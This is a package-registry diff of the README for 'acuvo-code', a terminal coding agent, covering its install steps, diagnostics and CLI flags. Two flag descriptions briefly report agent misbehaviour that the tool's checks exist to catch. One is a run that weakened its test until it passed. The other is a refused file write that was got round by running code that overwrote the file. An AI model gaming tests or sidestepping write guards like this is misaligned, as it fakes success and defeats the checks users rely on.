acuvo-code 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (154) hide show
  1. package/CHANGELOG.md +328 -0
  2. package/ENTERPRISE.md +927 -0
  3. package/LICENSE +120 -0
  4. package/README.md +1245 -0
  5. package/ROADMAP.md +556 -0
  6. package/bin/acuvo-mcp.mjs +208 -0
  7. package/bin/acuvo.mjs +3108 -0
  8. package/lib/acceptance-consent.mjs +168 -0
  9. package/lib/acceptance.mjs +859 -0
  10. package/lib/account.mjs +226 -0
  11. package/lib/acuvo-dir.mjs +72 -0
  12. package/lib/acuvo-models.mjs +141 -0
  13. package/lib/apply-patch.mjs +570 -0
  14. package/lib/ask-user.mjs +173 -0
  15. package/lib/audit.mjs +530 -0
  16. package/lib/auto-lease.mjs +174 -0
  17. package/lib/background.mjs +842 -0
  18. package/lib/best-of.mjs +334 -0
  19. package/lib/board.mjs +232 -0
  20. package/lib/breaker.mjs +93 -0
  21. package/lib/budget.mjs +1375 -0
  22. package/lib/builtin-skills.mjs +135 -0
  23. package/lib/cache-floor.mjs +204 -0
  24. package/lib/chain.mjs +303 -0
  25. package/lib/changed-paths.mjs +84 -0
  26. package/lib/chat.mjs +434 -0
  27. package/lib/checkpoint.mjs +637 -0
  28. package/lib/child-lifetime.mjs +71 -0
  29. package/lib/cli-args.mjs +1255 -0
  30. package/lib/code-review.mjs +1382 -0
  31. package/lib/colour.mjs +82 -0
  32. package/lib/command.mjs +2847 -0
  33. package/lib/compact.mjs +1151 -0
  34. package/lib/completion.mjs +515 -0
  35. package/lib/creative-engines.mjs +779 -0
  36. package/lib/db-inspect.mjs +1624 -0
  37. package/lib/delete.mjs +111 -0
  38. package/lib/design-loop.mjs +570 -0
  39. package/lib/diff-preview.mjs +1044 -0
  40. package/lib/doctor.mjs +2139 -0
  41. package/lib/dropped.mjs +216 -0
  42. package/lib/edit-diagnostics.mjs +277 -0
  43. package/lib/edit.mjs +460 -0
  44. package/lib/env-file.mjs +250 -0
  45. package/lib/escalate.mjs +702 -0
  46. package/lib/evaluate.mjs +284 -0
  47. package/lib/fetch-text.mjs +952 -0
  48. package/lib/fleet-budget.mjs +256 -0
  49. package/lib/gh.mjs +1536 -0
  50. package/lib/git.mjs +1341 -0
  51. package/lib/github.mjs +261 -0
  52. package/lib/h2.mjs +194 -0
  53. package/lib/handoff.mjs +417 -0
  54. package/lib/hooks.mjs +626 -0
  55. package/lib/http-probe.mjs +907 -0
  56. package/lib/image-director.mjs +322 -0
  57. package/lib/image-edit.mjs +522 -0
  58. package/lib/imagegen.mjs +998 -0
  59. package/lib/interrupt.mjs +234 -0
  60. package/lib/learned.mjs +353 -0
  61. package/lib/lease-watch.mjs +115 -0
  62. package/lib/lease.mjs +868 -0
  63. package/lib/localize.mjs +834 -0
  64. package/lib/log-tail.mjs +1052 -0
  65. package/lib/login.mjs +157 -0
  66. package/lib/lsp.mjs +1613 -0
  67. package/lib/mcp-consent.mjs +377 -0
  68. package/lib/mcp-defaults.mjs +780 -0
  69. package/lib/mcp-server.mjs +1343 -0
  70. package/lib/mcp.mjs +1263 -0
  71. package/lib/media.mjs +1283 -0
  72. package/lib/memory-workspace.mjs +179 -0
  73. package/lib/model-json.mjs +132 -0
  74. package/lib/model-tier.mjs +171 -0
  75. package/lib/model.mjs +1445 -0
  76. package/lib/parallel.mjs +144 -0
  77. package/lib/perchance.mjs +210 -0
  78. package/lib/plan-coherence.mjs +1461 -0
  79. package/lib/plan-ledger.mjs +981 -0
  80. package/lib/plan.mjs +461 -0
  81. package/lib/policy.mjs +783 -0
  82. package/lib/prefix-order.mjs +38 -0
  83. package/lib/project-memory.mjs +127 -0
  84. package/lib/prompt.mjs +109 -0
  85. package/lib/python.mjs +862 -0
  86. package/lib/rcfile.mjs +853 -0
  87. package/lib/read-window.mjs +743 -0
  88. package/lib/refute-tools.mjs +34 -0
  89. package/lib/refute.mjs +806 -0
  90. package/lib/repl-driver.mjs +264 -0
  91. package/lib/repl.mjs +324 -0
  92. package/lib/replay.mjs +1218 -0
  93. package/lib/repo-map.mjs +1101 -0
  94. package/lib/report.mjs +419 -0
  95. package/lib/search-rank.mjs +99 -0
  96. package/lib/search.mjs +659 -0
  97. package/lib/secret-paths.mjs +54 -0
  98. package/lib/session.mjs +1017 -0
  99. package/lib/skills.mjs +703 -0
  100. package/lib/slash.mjs +356 -0
  101. package/lib/spawn-argv.mjs +1151 -0
  102. package/lib/spend.mjs +250 -0
  103. package/lib/steer.mjs +280 -0
  104. package/lib/stream.mjs +253 -0
  105. package/lib/stuck.mjs +712 -0
  106. package/lib/subagent.mjs +749 -0
  107. package/lib/terminal-graphics.mjs +171 -0
  108. package/lib/tool-prefix.mjs +226 -0
  109. package/lib/tool-shortlist.mjs +162 -0
  110. package/lib/tools.mjs +2333 -0
  111. package/lib/tsserver.mjs +423 -0
  112. package/lib/turn.mjs +5672 -0
  113. package/lib/untrusted-block.mjs +271 -0
  114. package/lib/verify-claim.mjs +299 -0
  115. package/lib/vision.mjs +330 -0
  116. package/lib/voice-task.mjs +561 -0
  117. package/lib/warm-provider.mjs +255 -0
  118. package/lib/websearch.mjs +401 -0
  119. package/lib/workspace.mjs +928 -0
  120. package/lib/write-approval.mjs +235 -0
  121. package/lib/write-many.mjs +162 -0
  122. package/package.json +62 -0
  123. package/scripts/bundle.mjs +768 -0
  124. package/scripts/cache-floor.mjs +176 -0
  125. package/scripts/machine.mjs +226 -0
  126. package/scripts/test.mjs +139 -0
  127. package/skills/accessibility.md +87 -0
  128. package/skills/acuvo-design-system.md +123 -0
  129. package/skills/animation.md +84 -0
  130. package/skills/api-design.md +82 -0
  131. package/skills/auth-and-sessions.md +78 -0
  132. package/skills/build-with-a-framework.md +101 -0
  133. package/skills/colour-and-contrast.md +112 -0
  134. package/skills/creative-engines.md +81 -0
  135. package/skills/css-layout.md +85 -0
  136. package/skills/data-and-charts.md +77 -0
  137. package/skills/debugging.md +76 -0
  138. package/skills/designing-by-looking.md +84 -0
  139. package/skills/error-handling.md +78 -0
  140. package/skills/forms-and-validation.md +93 -0
  141. package/skills/nextjs-app-router.md +75 -0
  142. package/skills/page-composition.md +103 -0
  143. package/skills/performance.md +77 -0
  144. package/skills/plan-before-building.md +52 -0
  145. package/skills/planning-and-delegating.md +72 -0
  146. package/skills/refactoring.md +70 -0
  147. package/skills/security-basics.md +76 -0
  148. package/skills/state-management.md +73 -0
  149. package/skills/supabase-multitenant.md +72 -0
  150. package/skills/typescript-strict.md +90 -0
  151. package/skills/typography.md +135 -0
  152. package/skills/verify-your-own-work.md +62 -0
  153. package/skills/web-app-quality.md +62 -0
  154. package/skills/working-in-the-background.md +64 -0
package/README.md ADDED
@@ -0,0 +1,1245 @@
1
+ # Acuvo Code
2
+
3
+ A coding agent for your terminal that **writes code, runs it, reads the failure, and fixes it** — and that can *look at* what it built.
4
+
5
+ Zero dependencies. One file of Node, no framework, no install-time build step.
6
+
7
+ ```bash
8
+ acuvo "the invoice test is failing — work out why and fix it"
9
+ ```
10
+
11
+ ## If you already use Claude Code, Codex or Cursor, here is the only reason to add this
12
+
13
+ **You do not bring a key.** Every other terminal agent in this class hands you a config file and a
14
+ provider bill: an Anthropic key, an OpenAI key, an OpenRouter key — yours, metered by them, and a
15
+ second invoice on top of whatever subscription you already pay. Acuvo Code has **one account**.
16
+ `acuvo --login` writes an Acuvo key, and every request after it goes to
17
+ `https://acuvo.xxiautomate.com/api/cli/v1/chat/completions` — the same account as the Acuvo web
18
+ platform, not a provider console you have to go and top up separately
19
+ (`lib/account.mjs`, `DEFAULT_GATEWAY_URL`).
20
+
21
+ That is the whole pitch, and it is worth being blunt about how narrow it currently is:
22
+
23
+ | | what an Acuvo account gets you today |
24
+ |---|---|
25
+ | **The coding loop** — write, run, read the failure, fix | ✅ **covered by the account.** `acuvo --login`, no provider key, no BYOK. |
26
+ | **Bring your own key instead** | ✅ still supported. Without `--login` the CLI bills *your* provider account, and says so on every run (`bin/acuvo.mjs`). |
27
+ | **Speech, transcription, documents, images** | ⚠️ **the endpoints ship baked in and are live** — all eight probed 2026-08-12 — but they are gated on a separate `ACUVO_MEDIA_SECRET`, and **`--login` does not issue one**. See the box below. |
28
+ | **Video and face** | ⛔ not reachable. `face-gateway` and `image-engine` answered **404** in that same probe — absent, not busy. |
29
+
30
+ > ⚠️ **So do not read this page as "one subscription covers CLI + builder + image + video + voice +
31
+ > face".** It does not, today. `lib/login.mjs` and `lib/account.mjs` mention neither `MODAL_*` nor
32
+ > `ACUVO_MEDIA_SECRET` anywhere — the account covers **the model calls**, and the creative half is a
33
+ > separate credential that logging in does not hand you. This README has already been wrong in both
34
+ > directions once (see [Install](#install)), and the version of that mistake that costs the most is
35
+ > always the flattering one.
36
+
37
+ **And there is no benchmark number on this page, deliberately.** Terminal-Bench has been run 12 times
38
+ here — `bench/terminal-bench/results/` holds all 12 — and **every scored trial came back 0.0**, so
39
+ there is nothing to quote. Any percentage printed here would be a number about our harness, not about
40
+ this agent. What follows is measured behaviour instead.
41
+
42
+ ---
43
+
44
+ ## Why this instead of the others
45
+
46
+ Most terminal coding agents are the same shape: a model, a file writer, and a loop. Two things here are not.
47
+
48
+ **It runs what it writes.** Not "generates and hopes" — it executes the code, reads the actual exit code and stderr, and fixes the cause. On our task bench that loop is the difference between 5/7 and 7/7 with no change of model.
49
+
50
+ **It can see — and it hands back a verdict, not a picture.** `see_page` renders HTML you wrote in a real browser, saves the screenshot into your workspace, and returns what was *measured*: `unreadable text (contrast 1.03:1, needs 4.5): Ember & Oak`. About two hundred tokens of specific defects, in the order that matters — a console error that stopped the page booting is printed first, because it explains everything under it.
51
+
52
+ That last part is the difference, and it is worth being precise about it. **The edge is the return value, not the browser.** Screenshot tooling is not scarce: Playwright MCP and Chrome DevTools MCP are free and one install away, and your agent may already have a browser built in. What they hand back is an *image*, and the model has to interpret its own screenshot — the thing models are worst at.
53
+
54
+ Measured 2026-08-10 against a live Playwright MCP server on one page: the screenshot round-trip cost **3,072 tokens**; the `see_page` verdict for the same page was **89 tokens** — a **34×** difference, and the smaller one is the one that already contains the answer. `see_page` does the measuring in code, reports a judgement, and **abstains when it cannot tell** rather than inventing a finding (`findingsFrom`, `lib/media.mjs`). On our own pages that abstention killed two false accusations per page.
55
+
56
+ Be clear about what that claim is worth: it is a software edge a competent developer could reproduce in a weekend. It buys a head start, not a moat — and it survives a customer typing `claude mcp add playwright`, which is the whole reason it is the claim we make.
57
+
58
+ It also speaks, transcribes, and turns HTML into PDF/PNG/PPTX — see [Media tools](#media-tools).
59
+
60
+ > ⚠️ **BE CLEAR ABOUT WHAT YOU GET ON INSTALL: these eight tools are DARK by default.** `see_page`, `speak`, `transcribe`, `make_document`, `read_document`, `read_table`, `edit_image` and `expand_image` are the media half, and a fresh install offers none of them.
61
+ >
62
+ > ⚠️ **THIS PARAGRAPH USED TO SAY "there is no public endpoint to enable them with", AND THAT IS NO LONGER TRUE.** It was true when it was written; it stopped being true on 2026-08-12, when all eight endpoints were probed concurrently and **every one answered** — `tts`, `transcribe`, `document-press`, `video-render`, `voice-clone` and `avatar` returned `405 Method Not Allowed`, which is the healthy reply a POST-only service gives a GET, and reading it as a failure is how a working stack gets reported as broken. The URLs were then baked into `lib/media.mjs` as defaults, so nobody has to be told them. Two endpoints did *not* answer: `face-gateway` and `image-engine` returned **404**, and those two are genuinely absent.
63
+ >
64
+ > ⭐ **So the real gate is a CREDENTIAL, not a missing service.** These are paid GPU endpoints and they **fail shut**: with no `ACUVO_MEDIA_SECRET` (or `MODAL_VIDEO_SECRET`) the config reports dark, because a missing credential must never mean "open to everyone" on something that bills per second (`lib/media.mjs`). ⚠️ And `acuvo --login` does **not** issue that secret — the account covers model calls, not the media half. Getting the wrong *reason* for a dark tool costs a reader an afternoon of pointing environment variables at services that were never the problem.
65
+ >
66
+ > Measured on a bare machine, 2026-08-14: **37 of 52 tools are offered.** Of the 15 that are not, one needs a skills directory, `ask_user` appears only when stdin and stdout are both terminals, four are the LSP tools (see below), `git_push` is opt-in (`ACUVO_ALLOW_PUSH=1` — it is the only verb that leaves your machine), and the other eight are the media half.
67
+ >
68
+ > ⭐ The endpoints are plain env vars, so if you run a compatible service you can point at your own. The interface is documented under [Media tools](#media-tools). What we are not doing is implying a hosted one exists.
69
+ >
70
+ > ⭐ **The write→run→fix loop — the actual product — works with nothing but Node and a model key.** So do git, search, the budget governor, `acuvo spend`, the plan ledger, project memory, the audit log and `--doctor`. The senses are an extra, not the product.
71
+ >
72
+ > ⚠️ **AND THREE THINGS THIS BOX USED TO PUT IN THAT SENTENCE DO NOT BELONG IN IT.** It previously read "the language presets, git, search, **LSP, MCP**, the budget governor" — and claimed the four LSP tools "light up by themselves in any TypeScript project". Measured on this machine 2026-08-14 with `--doctor`:
73
+ >
74
+ > | claimed as free | what it actually needs | evidence |
75
+ > |---|---|---|
76
+ > | **LSP** (`find_definition`, `find_references`, `check_types`, `list_symbols`) | a language server **installed** — a TypeScript project is not enough | `--doctor`: *"no language server is installed for typescript"* → `npm i -D typescript-language-server typescript` (`lib/lsp.mjs:126-131`) |
77
+ > | **MCP** | a server to talk to, and this client passes npx `--no`, so it cannot fetch one | `--doctor` → *"MCP SERVERS · dark"*; the curated catalogue is off by default for exactly this reason (`lib/mcp-defaults.mjs`) |
78
+ > | **the language presets** | the toolchain on PATH, and they are **off by default** anyway | `--doctor`: *"presets available … off by default, so pytest / go test / cargo test are refused here"* |
79
+ >
80
+ > ⭐ Each is genuinely free of *our* dependencies — nothing here needs a key or an account — but "works with nothing but Node and a model key" is a first-run promise, and a reader who installs to try the LSP tools finds four dark rows. The client is zero-dependency; the *capabilities* are not all zero-setup, and the honest version of this page distinguishes them.
81
+
82
+ ---
83
+
84
+ ## Install
85
+
86
+ Requires **Node 20+**.
87
+
88
+ **The repository is public.** `https://github.com/xxiautomate-star/acuvo-code` is open and
89
+ clonable — verified 2026-08-11 by cloning it into an empty directory and running both the
90
+ CLI and the test suite out of the result. Clone it with
91
+ `git clone https://github.com/xxiautomate-star/acuvo-code.git`, then run
92
+ `node acuvo-code/bin/acuvo.mjs --doctor`. The clone carries `bin/`, `lib/`, `test/` and
93
+ `bench/`, and there is no `node_modules` to fetch, so `node --test test/*.test.mjs` executes
94
+ immediately on a fresh checkout.
95
+
96
+ > ⚠️ **This section used to say that URL 404s.** It did when it was written; it does not now,
97
+ > and a warning that has become false is as expensive as the wrong instruction it replaced.
98
+ >
99
+ > ⚠️ **AND THE WARNING THAT REPLACED IT WENT STALE TOO — in the other direction.** It said
100
+ > the published repo was "behind, and its suite is not green": *1,192 tests, 4 failing*,
101
+ > measured 2026-08-11. Measured again on a fresh clone of `main` on **2026-08-13:
102
+ > 1,715 tests, 0 failing, exit 0**, with no install step. So a reader was being told to
103
+ > expect a red suite from a repo that is green.
104
+ >
105
+ > ⭐ Both directions of that mistake cost the same thing — trust in the page — and the second
106
+ > is arguably worse, because it invites a buyer to conclude the project does not test itself.
107
+ > The clone and this document are the same commit now, and the numbers here are re-measured
108
+ > rather than remembered.
109
+ >
110
+ > Still true: **neither `acuvo-code` nor `acuvo` is published to npm** (the registry returns
111
+ > 404 for both), so there is no `npm install -g` route.
112
+
113
+ **Or run it from the source you already have.** The package is self-contained and has no
114
+ dependencies, so there is nothing to install — point Node at the entry file:
115
+
116
+ ```bash
117
+ node /path/to/acuvo-code/bin/acuvo.mjs --version
118
+ node /path/to/acuvo-code/bin/acuvo.mjs "add a health check to src/server.js"
119
+ ```
120
+
121
+ To get `acuvo` on your PATH, link the directory you have:
122
+
123
+ ```bash
124
+ cd /path/to/acuvo-code
125
+ npm link # no dependencies to fetch — this only creates the shim
126
+ acuvo --version
127
+ ```
128
+
129
+ **Or take one file and nothing else:**
130
+
131
+ ```bash
132
+ npm run bundle # ~1s
133
+ node dist/acuvo.mjs --version
134
+ ```
135
+
136
+ Measured 2026-08-13: **1,829,742 bytes, 61 modules**, built in 1.0s, and run from a
137
+ directory with no source tree anywhere on the path — `--version` and `--help` both answer.
138
+ Copy that one file to a machine with Node 20+ and it works; there is nothing to install
139
+ because there is nothing to install.
140
+
141
+ > ⚠️ **THIS PARAGRAPH USED TO SAY THE BUNDLE DID NOT EXIST**, at length: that
142
+ > `scripts/bundle.mjs` "was never written", that `npm run bundle` exits 1, and that all 44
143
+ > tests in `test/bundle.test.mjs` skip themselves. Every word of that was true when it was
144
+ > written and every word is false now — the script is 30,806 bytes and its output is above.
145
+ >
146
+ > ⭐ Recorded rather than quietly deleted, because a warning that has gone stale is
147
+ > **exactly as expensive as the wrong instruction it replaced**, and this one was worse than
148
+ > most: it told a reader we were broken in a way we were not. Docs decay in both directions.
149
+
150
+ **Still pending:** `npm install -g acuvo-code` — the package is not published yet.
151
+
152
+ ### Before anything else: `acuvo --doctor`
153
+
154
+ ```bash
155
+ acuvo --doctor
156
+ ```
157
+
158
+ It **spends nothing** — no completion is ever requested. It says, line by line, what is
159
+ actually working on this machine — the key, the four models in the fallback chain, every
160
+ media endpoint, which tools the model would be offered, and git — and every dark or broken
161
+ line names the exact variable that fixes it. Exit 0 when nothing is broken, 1 otherwise, so
162
+ it works in CI. `--doctor --json` gives the machine form.
163
+
164
+ > ⚠️ **It uses the network, and it sends your key.** This paragraph used to claim "no API
165
+ > key and no network", and that was false: `--doctor` sends `Authorization: Bearer <your
166
+ > key>` to `openrouter.ai/api/v1/key` and `/credits`, and pings every configured endpoint.
167
+ > It does that because *"present, but it does NOT authenticate"* is the single most useful
168
+ > thing it can tell you, and no offline check can produce it.
169
+ >
170
+ > ⭐ **`acuvo --doctor --offline` makes the old promise true** — no request is made, no key
171
+ > leaves the machine, and every network line reads "not probed". Use it on an air-gapped
172
+ > box, or when you would rather read the code before it talks to anything.
173
+
174
+ ```
175
+ MODEL CHAIN (4 DEEP · DEFAULT DEEPSEEK/DEEPSEEK-V4-FLASH-0731)
176
+ live OPENROUTER_API_KEY present, and it authenticates
177
+ live account balance $9.16 remaining of $10.00
178
+ MEDIA SERVICES
179
+ live see_page configured (…acuvo-render-audit-measure.modal.run) · reachable and authorised
180
+ dark speak MODAL_TTS_URL is unset, so speak is never offered to the model
181
+ → set MODAL_TTS_URL to your endpoint URL (and MODAL_VIDEO_SECRET to the value it expects)
182
+
183
+ 14 live · 6 dark · 0 broken
184
+ nothing is broken.
185
+ ```
186
+
187
+ ### The one thing you must set
188
+
189
+ ```bash
190
+ export OPENROUTER_API_KEY=sk-or-v1-... # bash
191
+ $env:OPENROUTER_API_KEY = "sk-or-v1-..." # PowerShell
192
+ ```
193
+
194
+ Or just put it in a file, which is what most projects already do:
195
+
196
+ ```bash
197
+ # .env.local (or .env) — in the workspace, or any parent up to the repo root
198
+ OPENROUTER_API_KEY=sk-or-v1-...
199
+ ```
200
+
201
+ `acuvo` reads **`.env.local` then `.env`**, walking up from the workspace and stopping at
202
+ the repository root, so a monorepo can keep one file at the top. A real environment
203
+ variable always beats a file, and `.env.example` is deliberately never read — it is
204
+ committed documentation full of placeholders, and loading it would set a fake key and
205
+ produce a 401 that blamed yours.
206
+
207
+ `--version` and `--help` work without a key — they are how you check the install worked.
208
+
209
+ ---
210
+
211
+ ## Options
212
+
213
+ Every flag below is real; run `acuvo --help` for the authoritative list.
214
+
215
+ | flag | what it does |
216
+ |---|---|
217
+ | `--dir <path>` | Workspace root. Default: the current directory. |
218
+ | `--model <id>` | OpenRouter model id. Default: `$OPENROUTER_CODEGEN_MODEL`, else `deepseek/deepseek-v4-flash-0731` (`DEFAULT_MODEL`, `lib/model.mjs`). |
219
+ | `--max-rounds <n>` | Write → run → fix rounds, 1–64. Default **24** (`DEFAULT_MAX_ROUNDS`, `lib/cli-args.mjs`). `1` means one completion and nothing executed. The loop stops on its own when the work verifies, so a task needing four rounds still takes four — the ceiling is headroom, not a spend commitment. |
220
+ | `--budget <usd>` | Stop when the **next** round would cross this much spend. `--budget 0.50`, `--budget 25c`, `--budget $2` all parse. Refuses to start at all if it cannot afford one round. **A $0.05 ceiling is on by default** — a measured task costs $0.0008–$0.003, so it never fires on ordinary work, and a runaway costs five cents to discover. It is sized to back `--max-rounds`' default of 24 (24 rounds is roughly $0.03–$0.06 as context grows), rather than picked. `--budget none` removes it. |
221
+ | `acuvo verify [id] [--all]` | **Re-check a past claim, for nothing.** Every run records the exact command this process watched exit 0. `acuvo verify` runs it again — **no model call, no cost** — and says whether the claim is still true. Measured: a run claimed `npm test` passed; after somebody edited the source, `acuvo verify` answered *"THE CLAIM NO LONGER HOLDS — `npm test` claimed exit 0 and now exits 1"* and exited 1. ⚠️ A broken re-check does **not** accuse the run of lying — the file may have changed since; it says the claim is not true *now*. ⚠️ "No checkable claim" exits 3, never 0: a run that executed nothing proved nothing. ⭐ This is downstream of having a machine-checkable verdict at all — an agent whose success criterion is its own closing paragraph has nothing to re-check. **`--all` answers the question a fleet actually leaves behind**: seven terminals working a board overnight produce fifty claims, and nobody wants fifty receipts — they want to know which are still true. Deduplicated by command, which is what makes it cheap: twelve runs that claimed `npm test` are twelve claims and **one** thing to run. A command that now fails names every claim that rested on it. |
222
+ | `--all` | Only with `acuvo verify`. Re-checks **every** recorded claim instead of the most recent one. Exits 0 if all still hold, 1 if any do not, 3 if nothing checkable was ever recorded. |
223
+ | `acuvo rewind [id]` | **Undo what the agent did to your files.** Every run copies the previous contents of each file it writes or deletes into `.acuvo/checkpoints/`, so a run that rewrote twelve files across five rounds can be put back with one command — no model call, no cost, no git required. Bare `acuvo rewind` lists the checkpoints and exits **3** when there are none, because "there is no undo here" is not success. `acuvo rewind <id>` restores the tree to how it looked *before that run started* — including **deleting files the agent created**, which a `git checkout` cannot do because they are untracked. ⚠️ **It refuses any file you changed yourself after the run.** Each entry records the sha256 of what the agent left; if the file on disk is not that, it is skipped with the reason, because a rewind that threw away your edit would be the accident rather than the fix. `--force` overrides and prints every forced path as FORCED. `--dry-run` says exactly what it would touch and touches nothing. |
224
+ | `--no-checkpoint` | Do not record the previous contents of the files this run writes, so `acuvo rewind` will have nothing to put back for it. On by default — it costs one read of a file that is about to be overwritten anyway, blobs are content-addressed so ten rounds rewriting one file store one copy per distinct version, and nothing is created at all until a run mutates something. Off automatically under `--dry-run`, which promises to touch nothing. |
225
+ | `--force` | Only with `acuvo rewind`. Restore even the files you edited after the run finished. Everything it overwrites this way is printed as **FORCED**. |
226
+ | `--refute` | **Get a second opinion.** When the run claims success, an independent agent with a fresh context — no sight of how the first one thought — tries to *refute* the claim: runs the tests, checks the callers, looks for a requirement nothing addressed. It **cannot write**. Measured on a run that cheated by weakening its test until it passed: `npm test` reported 1/1 green, and the second opinion answered *"the test was altered to match the buggy code rather than the code being fixed"* — for **$0.000636**. ⚠️ Only a concrete refutation fails the run; an opinion changes nothing, because failing correct work is the worse error. It spends what is left of your `--budget`, not a fresh copy of it. ⭐ This is affordable **because** a task here costs $0.001–0.003 — an agent at frontier prices cannot make "check everything, always" a default. |
227
+ | `--budget-window <period>` | Measure `--fleet-budget` over this period instead of today. `7d`, `24h`, `2026-08-01`. **A schedule that fires hourly gets a fresh per-run ceiling every time**, so the number you chose is a rate, not a total — $0.02 an hour is $14 a month and nobody typed $14. This makes it a total again. Needs `--fleet-budget`; a window with no ceiling measures nothing and is refused rather than ignored. |
228
+ | `--unattended` | Nobody is watching. A fleet ceiling **declining to start** then exits **3** instead of 1, so a cron log can tell *"it chose not to run"* from *"it ran and failed"* — two facts that need opposite reactions and used to share one exit code. Only when it declined: a run that did some work and then hit the ceiling has left the job half-finished, and that still exits 1, because half-finished is something to look at. |
229
+ | `--claim` | Take the next open task off the shared board and run it, instead of typing a prompt. Needs `--holder`. **Seven terminals each running `acuvo --holder tN --claim` split one list of work with nobody doing the same task twice** — the claim is a lease, so a worker that crashes returns its task to the board rather than parking it forever. An empty board exits 0, not 1: a fleet finishing its work must not look like six failures. See `acuvo board` and `acuvo board add "…"`. |
230
+ | `--no-auto-lease` | Stop claiming each file as it is written. **Every write and delete normally takes a short lease on that exact path**, so a second terminal calling `write_file` on it is *refused* rather than silently overwriting your work. ⚠️ **A lease guards the file verbs; it cannot guard code the agent runs.** Proven: a `write_file` was refused and an `evaluate` overwrote the same file seconds later — a process can write anything you can. What the tool does instead is make it LOUD: after any verb that starts a process, the paths other terminals hold are checked, and a change is reported with the file and the holder — `--lease` is a declaration you have to make in advance, this is the guarantee. On by default because it only refuses a **proven** conflict with another live terminal: with one terminal open there is nothing to find. If the lease system itself cannot run (unwritable directory, corrupt record) the write proceeds unprotected rather than being blocked — a check that fails correct work is worse than no check. |
231
+ | `--fleet-budget <usd>` | The ceiling across **every terminal** working this workspace today, not just this run. `--budget` caps one run; seven terminals multiply that by seven, so this is the number that stays true when you open all seven. Summed from the audit log every run already writes (`.acuvo/audit/*.jsonl`) — there is no second ledger to drift, and no reset to remember. Off unless you ask for it. ⚠️ A run's cost is recorded when it **finishes**, so live runs elsewhere are not yet in the total; the overshoot that allows is bounded by their own `--budget` ceilings. |
232
+ | `--until-done` | Keep going while the criterion you declared is unmet, the budget allows, and the loop is not going in circles. **Requires `--budget`.** It also **escalates** rather than merely retrying — see [Escalation](#escalation-trying-harder-costs-money-so-it-is-budgeted). |
233
+ | `--max-tier <tier>` | How hard `--until-done` may try: `solo` \| `fresh` \| `best-of`. Default `best-of`. `solo` turns escalation off without turning the run off. |
234
+ | `--best-of <n>` | Do the task n times (2–5) in isolated workspace copies and keep whichever one **verifies**. On its own it is a single parallel round; combined with `--until-done` it sets how wide the ladder's top rung is. |
235
+ | `--shell` | Run commands through a real shell — pipes, `&&`, redirection, and any program on the machine. Off by default; read [What it can execute](#what-it-can-execute--read-this-before-trusting-it) first. |
236
+ | `--lease <path>` | Claim a file before starting, so several terminals can share one checkout. Repeatable. Released when the process exits, however it exits. |
237
+ | `--holder <name>` | Who to record as holding those leases. Default: the pid. |
238
+ | `--engine <id>` | Which **Acuvo creative engine** this run may use — `acuvo-image`, `acuvo-image-ultra`, `acuvo-video`, `acuvo-video-ultra`, `acuvo-voice`, `acuvo-face`. **The core engine is the default and an Ultra one runs only when you name it here.** A premium engine that fires on its own spends credits on a decision you did not make — at 585 credits a clip against Starter's 2,000, one silent escalation is a quarter of the month. Set per medium, so choosing an image engine cannot change what `speak` does. ⚠️ Four of the six do not run from the CLI at all today (there is no video module and no face module here, and the premium image model is behind the gateway) — naming one is refused with the reason, which is a different refusal from *not on your plan* and from *out of credits*. `acuvo engines` lists them with the credit cost of each. |
239
+ | `--no-run` | Never execute anything. It can still read, write and edit. |
240
+ | `--command-timeout <s>` | Kill a command after this long. Default 120 (`DEFAULT_COMMAND_TIMEOUT_MS`, `lib/command.mjs`). |
241
+ | `--max-tokens <n>` | Ceiling on each reply. Default **12000** (`DEFAULT_MAX_TOKENS`, `lib/model.mjs`). |
242
+ | `--timeout <s>` | Give up on the model after this long. Default 180. |
243
+ | `--issue <n>` | Read a GitHub issue, branch, fix it, run the tests. Stops at a local branch — the flow itself never pushes and never opens a PR. (The agent can push only if you separately set `ACUVO_ALLOW_PUSH=1`, and even then never to a protected branch.) |
244
+ | `--parallel` | Run several quoted tasks at once. Names any file written by more than one task and exits 1 on a collision. |
245
+ | `--concurrency <n>` | How many at a time, 1–4. Default 2. |
246
+ | `--json` | One JSON object on stdout, nothing else. Human output goes to stderr. |
247
+ | `--dry-run` | Print what *would* be written. Touches nothing, runs nothing. |
248
+ | `--plan` | Propose first, then build. Runs a read-only planning pass, prints the plan and asks for approval before anything is written or run. |
249
+ | `--strict` | Exit 1 when the run wrote nothing **and** ran nothing. Off by default — a question can be answered correctly without touching anything — but **on automatically when `CI` is set**, because a build step that reports success for doing nothing is the failure the exit code exists to prevent. |
250
+ | `--offline` | With `--doctor`: make no network request at all. Your key is not sent anywhere and every endpoint line reads "not probed". Without it, `--doctor` verifies your key against openrouter.ai — which is how it can tell you a key is *present but revoked*. |
251
+ | `--since <period>` | With `acuvo spend`: how far back to total. `7d`, `24h`, `2w`, or a date like `2026-08-01`. Omit it for everything the log still holds. An unparseable period is refused rather than silently meaning "all time". |
252
+ | `--version`, `-v` | Print the version. |
253
+ | `--help`, `-h` | Usage. |
254
+
255
+ Run `acuvo` with no prompt to open an **interactive session** — it keeps context between turns, so "now do the same for the other file" works, and later turns are cheaper than the first.
256
+
257
+ Two different numbers get quoted about that, and only one of them is ours:
258
+
259
+ - **The prefix we re-send is byte-identical between rounds** — 100%, asserted by `test/cache-prefix-stability.test.mjs` and `test/turn-cache-and-prefix.test.mjs`. That is the half this tool controls.
260
+ - **The hit rate the provider actually reports varies with upstream routing.** `deepseek/deepseek-v4-flash-0731` is served by 28 upstream endpoints and a prompt cache lives on one of them. Measured 2026-08-14 on the same 4-round task: **46.7%–48.6% unpinned, 73.7%–95.8% pinned** with `ACUVO_PROVIDER_ORDER`. Run `acuvo --json` and read `.cache.hitRate` and `.providers` for yours.
261
+
262
+ #### Pinning the upstream — `ACUVO_PROVIDER_ORDER`
263
+
264
+ | variable | what it does |
265
+ |---|---|
266
+ | `ACUVO_PROVIDER_ORDER` | Comma-separated OpenRouter provider names, in preference order — e.g. `DeepInfra` or `DeepInfra,Novita`. **Off by default.** It expresses a *preference*: `allow_fallbacks` stays true, so if the pinned upstream is down the request still goes through somewhere else. That is deliberate — a cheaper request that does not happen is not cheaper. |
267
+ | `ACUVO_PROVIDER_STRICT` | `1` turns the preference into a hard pin (`allow_fallbacks: false`), so an unhonourable pin becomes an HTTP 404 instead of a silent re-route. Right for a benchmark, wrong for everyday work. Meaningless without `ACUVO_PROVIDER_ORDER`. |
268
+
269
